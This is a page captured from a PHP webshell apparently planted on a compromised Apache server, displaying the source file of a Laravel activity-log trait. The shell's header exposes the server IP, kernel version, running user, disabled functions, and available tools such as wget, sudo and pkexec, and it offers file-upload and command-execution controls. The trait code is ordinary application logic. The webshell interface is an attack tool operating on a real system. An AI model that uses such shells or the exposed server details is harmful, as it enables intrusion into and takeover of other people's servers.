403Webshell
Server IP : 54.94.228.101  /  Your IP : 172.28.1.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/vendor/spatie/laravel-activitylog/src/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/vendor/spatie/laravel-activitylog/src/Traits/LogsActivity.php
<?php

namespace Spatie\Activitylog\Traits;

use Illuminate\Support\Collection;
use Spatie\Activitylog\ActivityLogger;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;
use Spatie\Activitylog\ActivitylogServiceProvider;
use Illuminate\Database\Eloquent\Relations\MorphMany;
use App\User;
use Sentinel;
use Exception;

trait LogsActivity
{
    use DetectsChanges;

    protected $enableLoggingModelsEvents = true;

    protected static function bootLogsActivity()
    {
        try {
            
            static::eventsToBeRecorded()->each(function ($eventName) {
                return static::$eventName(function (Model $model) use ($eventName) {
                    if (! $model->shouldLogEvent($eventName)) {
                        return;
                    }

                    $description = $model->getDescriptionForEvent($eventName);

                    $logName = $model->getLogNameToUse($eventName);

                    if ($description == '') {
                        return;
                    }

                    $props = $model->attributeValuesToBeLogged($eventName);

                    if($e_props = $model->attributes){
                        $props = array_merge($props, ['atual' => $e_props]);
                    }

                    $old = $model->getOriginal();
                    if($old){
                        $props = array_merge($props, ['old' => $old]);
                    }

                    $userModel = Sentinel::getUser();

                    if(!$userModel){
                        $userModel = User::find(1);
                    }

                    app(ActivityLogger::class)
                        ->useLog($logName)
                        ->causedBy($userModel)
                        ->performedOn($model)
                        ->withProperties($props)
                        ->log($description);
                });
            });

        } catch (Exception $e) {
            
            static::eventsToBeRecorded()->each(function ($eventName) {
                return static::$eventName(function (Model $model) use ($eventName) {
                    if (! $model->shouldLogEvent($eventName)) {
                        return;
                    }

                    $description = $model->getDescriptionForEvent($eventName);

                    $logName = $model->getLogNameToUse($eventName);

                    if ($description == '') {
                        return;
                    }

                    $props = $model->attributeValuesToBeLogged($eventName);

                    $userModel = Sentinel::getUser();

                    if(!$userModel){
                        $userModel = User::find(1);
                    }

                    app(ActivityLogger::class)
                        ->useLog($logName)
                        ->causedBy($userModel)
                        ->performedOn($model)
                        ->withProperties($props)
                        ->log($description);
                });
            });

        }
    }

    public function disableLogging()
    {
        $this->enableLoggingModelsEvents = false;

        return $this;
    }

    public function enableLogging()
    {
        $this->enableLoggingModelsEvents = true;

        return $this;
    }

    public function activity(): MorphMany
    {
        return $this->morphMany(ActivitylogServiceProvider::determineActivityModel(), 'subject');
    }

    public function getDescriptionForEvent(string $eventName): string
    {
        return $eventName;
    }

    public function getLogNameToUse(string $eventName = ''): string
    {
        return config('laravel-activitylog.default_log_name');
    }

    /*
     * Get the event names that should be recorded.
     */
    protected static function eventsToBeRecorded(): Collection
    {
        if (isset(static::$recordEvents)) {
            return collect(static::$recordEvents);
        }

        $events = collect([
            'created',
            'updated',
            'deleted',
        ]);

        if (collect(class_uses_recursive(__CLASS__))->contains(SoftDeletes::class)) {
            $events->push('restored');
        }

        return $events;
    }

    public function attributesToBeIgnored(): array
    {
        if (! isset(static::$ignoreChangedAttributes)) {
            return [];
        }

        return static::$ignoreChangedAttributes;
    }

    protected function shouldLogEvent(string $eventName): bool
    {
        if (! $this->enableLoggingModelsEvents) {
            return false;
        }

        if (! in_array($eventName, ['created', 'updated'])) {
            return true;
        }

        if (array_has($this->getDirty(), 'deleted_at')) {
            if ($this->getDirty()['deleted_at'] === null) {
                return false;
            }
        }

        //do not log update event if only ignored attributes are changed
        return (bool) count(array_except($this->getDirty(), $this->attributesToBeIgnored()));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit